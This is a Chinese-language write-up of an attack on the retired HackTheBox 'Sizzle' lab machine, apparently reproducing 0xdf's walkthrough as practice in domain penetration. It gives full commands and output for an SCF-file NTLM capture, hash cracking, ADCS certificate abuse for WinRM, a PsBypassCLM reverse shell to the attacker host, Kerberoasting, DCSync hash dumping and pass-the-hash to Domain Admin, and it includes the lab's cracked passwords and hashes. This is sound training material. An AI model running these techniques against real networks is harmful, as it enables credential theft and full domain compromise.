HackTheBox-sizzle
2023-4-14 21:56:29 Author: Matrix1024(查看原文) 阅读量:16 收藏

靶场选自HackTheBox的一台RETIRED的靶机,主要是根据国外大神0xdf的WriteUp进行复现,学习大佬针对域渗透的步骤及思路,对于刚学完《域渗透攻防指南》来说也是一个亲身实践环节。靶场中除了对smbclient、impacket、BloodHound等常见域工具使用及NTLM Relay、Kerberoast等常见域漏洞利用外,还对powershell的CLM语言模式、Applocker等进行了解,并对PsbypassCLM进行了利用。

00

攻击路线图

01

端口嗅探

使用-sT查看tcp端口开放情况。

sudo nmap -sT -p- --min-rate 10000 -oA alltcp 10.129.94.206

使用nmap对开放端口进行版本即默认脚本扫描,获取开放端口相关信息。其中比较感兴趣的有FTP(21)、HTTP(80)、LDAP(389),SMB(445),同时如果获取到凭据也可以利用WinRM(5985、5986)进行操作。

sudo nmap -sC -sV -p 21,53,80,135,139,445,389,443,464,593,636,3268,3269,5985,5986,9389,47001 10.129.94.206

02

FTP服务

2.     FTP服务

通过nmap端口嗅探可以发现FTP允许匿名登录,尝试使用FTP工具进行匿名登录,发现为空目录。

ftp [email protected]10.129.94.206

03

WEB服

查看80端口Web页面,并使用dirb工具进行目录扫描。

dirb http://10.129.94.206/

发现http://10.129.94.206/certsrv页面,即靶场域环境使用ADCS活动目录证书服务。  

04

LPAP服务

使用ldapsearch工具对389端口进行匿名查询,发现需要凭据认证,无法获取到域相关信息。

ldapsearch -b 'DC=htb,DC=local' -H ldap://10.129.94.206:389

05

SMB服务

尝试对445端口SMB服务进行信息收集,发现存在以下共享信息。

# 使用smbmap对SMB服务进行信息收集,未能发现共享信息smbmap -H 10.129.94.206# 使用smbclient对SMB服务进行信息收集,发现存在以下共享信息smbclient -L 10.129.94.206 -NADMIN$          Disk      Remote AdminC$              Disk      Default shareCertEnroll      Disk      Active Directory Certificate Services shareDepartment Shares Disk     IPC$            IPC       Remote IPCNETLOGON        Disk      Logon server shareOperations      Disk     SYSVOL          Disk      Logon server share

对所有的SMB共享进行查看,发现可以获取到‘Department Shares’文件夹信息。

smbclient //10.129.94.206/'Department Shares' -N

也可以使用正则表达式对所有共享信息进行枚举,发现仅‘Department Shares’存在信息。

smbclient -N -L //10.129.94.206 | grep Disk | sed 's/^\s*\(.*\)\s*Disk.*/\1/' | while read share; do echo "======${share}======"; smbclient -N "//10.129.94.206/${share}" -c dir; echo; done

此时可以通过两种方式获取“Department Shares”文件夹内容。

①将'Department Shares' 文件夹内容下载至本地。

# 连接'Department Shares'smbclient //10.129.94.206/'Department Shares' -N# 下载'Department Shares' 文件夹数据mask ""recurse ONprompt OFFmget *

②也可以通过挂载方式将“Department Shares”文件夹挂载至本地。

# 将“Department Shares”文件夹挂载至/mntsudo mount -t cifs "//10.129.94.206/Department Shares" /mnt# 进入/mnt文件夹,发现“Department Shares”已成功挂载cd /mnt && ls

查看文件夹内容,仅在ZZ_ARCHIVE文件夹发现存在文件,但文件均无法打开,且使用16进制查看发现内容均为空。

设想通过NTLM Relay进行劫持用户凭据,发现在Users\public目录下方可写入文件,且创建的test.scf会被自动清除。

06

获取amanda权限

使用responder对tun0网卡进行监听,等待NTLM拦截。

sudo responder -I tun0 -w -d

在本地创建test.scf文件,其中UNC路径指向本机IP地址。

# test.scf文件内容[shell]Command=2IconFile=\\10.10.14.23\icon[Taskbar]Command=ToggleDesktop

使用smbclient将test.scf文件上传至'Department Shares'\Users\public目录下。

# 使用smbclient查看'Department Shares'共享文件夹smbclient //10.129.94.206/'Department Shares' -N# 进入到Users\public文件夹cd Users\public# 上传写好的test.scf文件put test.scf

在挂载目录/mnt/Users/Public下查看刚上传的test.scf文件。

# 查看上传的test.scf文件cat test.scf

此时responder已监听到来自靶机的NTLM认证凭据。

amanda::HTB:cac2ea6ce3b0a890:CB4627F8AA78B203A586AA252920F9EE:0101000000000000802840CD9C6DD901619C7DD51F9F1A8700000000020008004E0039004800530001001E00570049004E002D00340042004A004200560058003800520059004800590004003400570049004E002D00340042004A00420056005800380052005900480059002E004E003900480053002E004C004F00430041004C00030014004E003900480053002E004C004F00430041004C00050014004E003900480053002E004C004F00430041004C0007000800802840CD9C6DD9010600040002000000080030003000000000000000010000000020000044DF46EA0B1353A8DE4AD65D01CBAF046C5109172B5F2DBBC7E17AC1DB298DDB0A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E0032003300000000000000000000000000

使用john工具对NTLM凭据进行爆破,成功获取到凭据amanda:Ashare1972。

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# 获得凭据amanda:Ashare1972

使用evil-winrm对凭据进行登录,发现无法登录成功。

evil-winrm -u amanda -p Ashare1972 -i 10.129.94.206

使用smbmap和smbclient查看amanda用户的SMB共享列表,发现比之前多出可读取的CertEnroll文件夹。

smbmap -u amanda -p Ashare1972 -H 10.129.94.206
smbclient -U htb.local/amanda //10.129.94.206/CertEnroll

使用ladpdomaindump对LDAP端口进行信息收集,可以得到domain_computers、domain_computers_by_os、domain_groups、domain_policy、domain_trusts、domain_users、domain_users_by_group等信息。

ldapdomaindump -u 'htb.local\amanda' -p Ashare1972 10.129.94.206 -o ldap/

07

获取amanda交互式shel

使用凭据amanda:Ashare1972登录http://10.129.94.206/certsrv,发现可以正常登录成功。

使用openssl申请新的cert证书,用于生成可被域ADCS活动目录证书服务认可的证书凭据。

openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr
cat server.csr       -----BEGIN CERTIFICATE REQUEST-----MIICijCCAXICAQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoMGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAJvYb3Hi/wpH1ksD5pbFTW9MNeMpKCOba951DH1gjzasrryffyJM6WI22DI3lalPOHiAuTyqqIKNI3T8uypV0FMBYuAu5EhYkL1GGR9rbjwDjo1zkR1x2+Ro5qz4Jtls9krSqtxFvidgOFhxMwoPUNSWfg/HPyIcgreO7sx6R24SYZ74fuwjtVuBp626bgJ4HWf3rx/BC2bxhXg8vZRR62Qe94SM9VPIuJZ5J0TdRuUvoaCaROMK2Knh5Z+Idz/Yf6AnLEnw2Id1UD3T7awXGYXbAcIQMMXNq1gFDdza3M5BEFOiWAmhReyGPmfg0Z6mxlPZ5hdOHPFvjbvByL0r8+MCAwEAAaAAMA0GCSqGSIb3DQEBCwUAA4IBAQCIQiFWnTgCipxHpLEDjZ7DbfcW8l2nu9/eaRlyq1zRCF45tqQEHiNkHGKljo1WS/Zy/XlYQwje7lbWG26FDrJ7m0dWdzZADfuHxsO08SjGed8vnXQCFCaoJHoM4YuncXdha6E4AXP5yxu9pIFSJ5HFiVMEE+1FuF3jYcx87cMEf5lS33s7FlVi/Qqdd/D/4rQTftNFy55e8o4lvzIlLiY9YCqq19qCLQos9zeysV5FBSSc+eOGVo0jOD5BDTfajkIsjon1HONy2C721SSsx7USh+ASkZqrUeZngr2FrXA6z6PHXBW5yXrVqlDF7xovMDj9aF2VfRI5jNGXhmjZd92M-----END CERTIFICATE REQUEST-----

在http://10.129.94.206/certsrv使用amanda进行认证,并将server.csr上传至网站,生成新的certnew.cert。

使用evil-winrm通过openssl生成的server.key和从http://10.129.94.206/certsrv生成的certnew.cert进行认证,获取到amanda的交互式shell。

evil-winrm -i 10.129.94.206 -c cert/certnew.cer -k server.key -S

未能获取到flag。

08

 获取mrlky权限

在amanda的shell中,上传SharpHound.ps1文件进行域环境信息收集,发现powershell处于ConstrainedLanguage mode模式。

# kali在SharpHound.ps1目录下开启http服务python3 -m http.server# 在靶下载SharpHound.ps1wget http://10.10.14.23:8000/SharpHound.ps1 -OutFile SharpHound.ps1# 利用SharpHound.ps1进行信息收集Import-Module .\SharpHound.ps1invoke-bloodhound -collectionmethod all
# 语言模式相关知识点https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_language_modes?view=powershell-7.2 # AppLocker相关知识点 https://learn.microsoft.com/zh-cn/windows/security/threat-protection/windows-defender-application-control/applocker/test-an-applocker-policy-by-using-test-applockerpolicy
# 查看powershell语言模式$ExecutionContext.SessionState.LanguageMode# 导出有效的 AppLocker 策略Get-AppLockerPolicy -Effective -XML

分析AppLocker策略策略文件,发现“C:\Windows”下允许exe及script脚本运行。

使用PsBypassCLM.exe绕过CLM限制。

# 攻击机在PSBypassCLM目录下开启HTTP服务,供靶机shell下载PsBypassCLM.exe python3 -m http.server # 在靶机shell执行以下命令下载PsBypassCLM.exe wget http://10.10.14.23:8000/PsBypassCLM.exe -OutFile PsBypassCLM.exe
# 攻击机使用nc开启监听4444端口nc -lvp 4444# 靶机shell执行以下命令使用PsBypassCLM.exe绕过CLM限制C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=/LogToConsole=true /U /revshell=true /rhost=10.10.14.23 /rport=4444 C:\Users\amanda\Documents\PsBypassCLM.exe

使用netstat进行端口查询,发现其开放88端口,该端口在端口嗅探时未发现,可能是防火墙阻拦原因。

netstat -ap tcp

将Rubeus.exe传至靶机。

# kali使用python开启http服务python3 -m http.server# 靶机shell使用wget下载rubeus.exe至C:\windows\temp>wget http://10.10.14.23:8000/Rubeus.exe -OutFile Rubeus.exe

运行Rubeus.exe,使用amanda凭据进行kerberoast攻击,成功获取mrlky用户票据。

# 进行kerberoast攻击.\Rubeus.exe kerberoast /creduser:htb.local\amanda /credpassword:Ashare1972 /format:john /outfile:hash.txt# 获取票据type hash.txt$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$660DDCF9926E5831D3402411C2C65FB7$D31F998B9D674BB5A5502A121968F27B4C979571AAB1805E7A7824B8DFD80E64CD547D481CB1C62E2E31FFB2ECF425C8D36D08FA61CD9AA930F886C428C227BDF36BF814F14DF27775D7CEE5903DB6B6C20C774ACD17A2BD1E7361F48377D51D098D2EC04BE3E9D715325DC3B9A512D7538E7D6F5D6E3A951CE685B571B2B0336E1D5F391506AC381C4DEF3EE72EBEE322E53DEDE7C20CFE39C7CC4AC26ED91D22299ABA6CE1769EC3A89D45AD30CE1E2CDF41140088DFBB4B2E36D4411BC8E8D6AF4759C7B57969B7AC2CD89B774512B369F0D8A11D94A46CFAFA7CE827B409BE9522F4E0ED6FE9950EB74CCD82FF1913E3A2EDD84F0FBA43E14700CD4076822E1C3AD26217FD9DB538C3B783A0A06EC60D8BD1D36B8F054EFBBACB8A4C6ADE3CF435072722DA3CEBF60F1E8F461DD9218FC7538569B5DCD366ACB3E4DFD34BDD56D3B06A23940C4ECF82C56F4606F7A34482B418B7A679806DAE3903FA1922C43F9D64B3E532B8B6057C14B073E48282EA617DA850CA617E4C3D77D638027AD1EBDC37F8CCCC76A01BB91ACC81FD1F182CD65FCBF9CDB08710B05B2A8EB97828F61C4D34FBC2F381ECD1261EE274319DFA04643FD5C988FA20F32286EED1FE7BA88312B486F5E4BE8F5E77DC0BD4303EC49BD2EDC4720D69E53940357D664688EA741037DC383E5E7E90BD5F5BA71C4C40F030B8AA0EB52C9B39FF8FC2CE1DD8556C8AE5CB3E476DA64665419ED7591CAE8601270427F1ACDA75809DA1EDEA4E0B96F31DF35FBE389DDF3D905A0E5BB28D197D0A21E487087AB26A96D8BABCF6B3C123C4E2C4F26A663AAA9A94BF04D5164D58555387F9E9F58D22D8AD6995D458DEB5EE697E72D22D16C663F0B4DAF45E3596B025C33BD3A5545E951CF586C0BE46AB9425FF5102C18EA903A8206F16A31BA0A6C0BE9D49186E93AF320D18EFFD66CCD2A7D82F8347AB9920961F6CEC7F55C2934BF9E73BB6AAE505151DD5BF745ED9DD8D44219C62EDCBC0C8F0833C1DB80E2266F89B106DF21778E526AFA44B46D38E856C206A56308015E3A99C85324989075918270873DA4F56553EA4C10229F132E8B9272391A702B3D531BE505D87A0B4A24DB74941076C7CABC263D852D0D15E28944DFB2CA2344139861CBF011390841F3FE3F204C74807D5E760D19FE9A1E9B5984D37C66BFAC9E446CCD0B5D80C1CB2E4442028A886BB27B6816D0BAD51017C5BCD4A647ECEECED594F92822E10660842C4EFF1AE3519FCE821A7F9C2136A01F87D1573CACC1F0041D608DDA524E68F7B3AE03F14FF8663F3EB0380AD5CA04F56158B5D20DC12A01F7792DB4A21A411322BB94934BBD71E2629E2960710E685

在kali机使用john对票据进行爆破,成功获得mrlky用户凭据。

# 将票据写入hash.txtecho '$krb5tgs$23$*mrlky$HTB.LOCAL$http/sizzle*$660DDCF9926E5831D3402411C2C65FB7$D31F998B9D674BB5A5502A121968F27B4C979571AAB1805E7A7824B8DFD80E64CD547D481CB1C62E2E31FFB2ECF425C8D36D08FA61CD9AA930F886C428C227BDF36BF814F14DF27775D7CEE5903DB6B6C20C774ACD17A2BD1E7361F48377D51D098D2EC04BE3E9D715325DC3B9A512D7538E7D6F5D6E3A951CE685B571B2B0336E1D5F391506AC381C4DEF3EE72EBEE322E53DEDE7C20CFE39C7CC4AC26ED91D22299ABA6CE1769EC3A89D45AD30CE1E2CDF41140088DFBB4B2E36D4411BC8E8D6AF4759C7B57969B7AC2CD89B774512B369F0D8A11D94A46CFAFA7CE827B409BE9522F4E0ED6FE9950EB74CCD82FF1913E3A2EDD84F0FBA43E14700CD4076822E1C3AD26217FD9DB538C3B783A0A06EC60D8BD1D36B8F054EFBBACB8A4C6ADE3CF435072722DA3CEBF60F1E8F461DD9218FC7538569B5DCD366ACB3E4DFD34BDD56D3B06A23940C4ECF82C56F4606F7A34482B418B7A679806DAE3903FA1922C43F9D64B3E532B8B6057C14B073E48282EA617DA850CA617E4C3D77D638027AD1EBDC37F8CCCC76A01BB91ACC81FD1F182CD65FCBF9CDB08710B05B2A8EB97828F61C4D34FBC2F381ECD1261EE274319DFA04643FD5C988FA20F32286EED1FE7BA88312B486F5E4BE8F5E77DC0BD4303EC49BD2EDC4720D69E53940357D664688EA741037DC383E5E7E90BD5F5BA71C4C40F030B8AA0EB52C9B39FF8FC2CE1DD8556C8AE5CB3E476DA64665419ED7591CAE8601270427F1ACDA75809DA1EDEA4E0B96F31DF35FBE389DDF3D905A0E5BB28D197D0A21E487087AB26A96D8BABCF6B3C123C4E2C4F26A663AAA9A94BF04D5164D58555387F9E9F58D22D8AD6995D458DEB5EE697E72D22D16C663F0B4DAF45E3596B025C33BD3A5545E951CF586C0BE46AB9425FF5102C18EA903A8206F16A31BA0A6C0BE9D49186E93AF320D18EFFD66CCD2A7D82F8347AB9920961F6CEC7F55C2934BF9E73BB6AAE505151DD5BF745ED9DD8D44219C62EDCBC0C8F0833C1DB80E2266F89B106DF21778E526AFA44B46D38E856C206A56308015E3A99C85324989075918270873DA4F56553EA4C10229F132E8B9272391A702B3D531BE505D87A0B4A24DB74941076C7CABC263D852D0D15E28944DFB2CA2344139861CBF011390841F3FE3F204C74807D5E760D19FE9A1E9B5984D37C66BFAC9E446CCD0B5D80C1CB2E4442028A886BB27B6816D0BAD51017C5BCD4A647ECEECED594F92822E10660842C4EFF1AE3519FCE821A7F9C2136A01F87D1573CACC1F0041D608DDA524E68F7B3AE03F14FF8663F3EB0380AD5CA04F56158B5D20DC12A01F7792DB4A21A411322BB94934BBD71E2629E2960710E685' > hash.txt# 使用john进行票据爆破john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt# 获得mrlky用户凭据mrlky:Football#7

使用mrlky口令未能登录成功,无法获得shell。同amanda账户一样,通过Web证书注册接口生成可供登录的证书凭据。

# 生成证书openssl req -new -newkey rsa:2048 -nodes -keyout server.key -out server.csr

同amanda账户一样,在Web证书注册接口将mrlky.csr上传,生成新的证书certnew.cer。

使用evil-winrm通过certnew.cer和mrlky.key对mrlky用户进行登录。

evil-winrm -i 10.129.94.206 -c certnew.cer -k mrlky.key -S

成功获取到flag(user.txt)

type C:\Users\mrlky\desktop\user.txt

09

权限提升

上传SharpHound.exe进行域环境分析,发现存在CLM限制,还需要进行PSBypassCLM。

# 上传SharpHound.exe失败upload /home/kali/Desktop/sizzle/SharpHound.exe# 查看language mode发现为ConstrainedLanguage$ExecutionContext.SessionState.LanguageMode

使用PsBypassCLM.exe绕过CLM限制。

# 攻击机在PSBypassCLM目录下开启HTTP服务,供靶机shell下载PsBypassCLM.exepython3 -m http.server# 在靶机shell执行以下命令下载PsBypassCLM.exewget http://10.10.14.23:8000/PsBypassCLM.exe -OutFile PsBypassCLM.exe
# Kali使用nc开启监听4444端口nc -lvp 4444# 靶机shell执行以下命令使用PsBypassCLM.exe绕过CLM限制C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile=/LogToConsole=true /U /revshell=true /rhost=10.10.14.23 /rport=4444 C:\Users\mrlky.HTB\Documents\PsBypassCLM.exe

将SharpHound.ps1上传至靶机,并执行SharpHound.ps1进行域信息收集。

# kali在SharpHound.ps1目录下开启http服务python3 -m http.server# 在靶下载SharpHound.ps1wget http://10.10.14.23:8000/SharpHound.ps1 -OutFile SharpHound.ps1# 利用SharpHound.ps1进行信息收集invoke-bloodhound -collectionmethod all

通过impacket-smbserver开启SMB服务,将域环境分析文件20230413231646_BloodHound.zip复制到kali本地。

# kali使用impacket-smbserver开启SMB服务impacket-smbserver -smb2support share . -username root -password root# 靶机连接该SMB服务net use \\10.10.14.23\share /u:root root# 将靶机20230413231646_BloodHound.zip复制到kalicopy 20230413231646_BloodHound.zip \\10.10.14.23\share\

使用BloodHound对域环境文件20230413231646_BloodHound.zip进行分析。发现mrlky账户对域环境具备DCSync功能。

使用impacket-secretsdump功能成功获取到所有账户的NTLM hash。

impacket-secretsdump HTB/mrlky:Football#7@10.129.94.206 -just-dc-ntlm
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)[*] Using the DRSUAPI method to get NTDS.DIT secretsAdministrator:500:aad3b435b51404eeaad3b435b51404ee:f6b7160bfc91823792e0ac3a162c9267:::Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::krbtgt:502:aad3b435b51404eeaad3b435b51404ee:296ec447eee58283143efbd5d39408c8:::DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::amanda:1104:aad3b435b51404eeaad3b435b51404ee:7d0516ea4b6ed084f3fdf71c47d9beb3:::mrlky:1603:aad3b435b51404eeaad3b435b51404ee:bceef4f6fe9c026d1d8dec8dce48adef:::sizzler:1604:aad3b435b51404eeaad3b435b51404ee:d79f820afad0cbc828d79e16a6f890de:::SIZZLE$:1001:aad3b435b51404eeaad3b435b51404ee:6fbc09fd8691a48dd7a3ee920746d360:::[*] Cleaning up...

使用administrator账户hash登录,成功获取域管权限。

# 使用crackmap检测凭据crackmapexec smb 10.129.94.206 -u administrator -H :f6b7160bfc91823792e0ac3a162c9267 -x "whoami"# 使用impacket-smbexec登录凭据impacket-smbexec HTB/[email protected]10.129.94.206 -hashes :f6b7160bfc91823792e0ac3a162c9267

获取flag(root.txt)

C:\Users\administrator\Desktop\root.txt

10

参考文章

https://0xdf.gitlab.io/2019/06/01/htb-sizzle.htmlhttps://0xdf.gitlab.io/2019/02/16/htb-giddy.html#winrm-directly

文章来源: http://mp.weixin.qq.com/s?__biz=Mzg5NzYxMjI5OA==&mid=2247485520&idx=1&sn=a71b404d2ed8ffbabec54e30591c3f7e&chksm=c06e6735f719ee239e911c1fe4fc09175330556bb60f47c4eda73fbd309eb758915330203c09#rd
如有侵权请联系:admin#unsafe.sh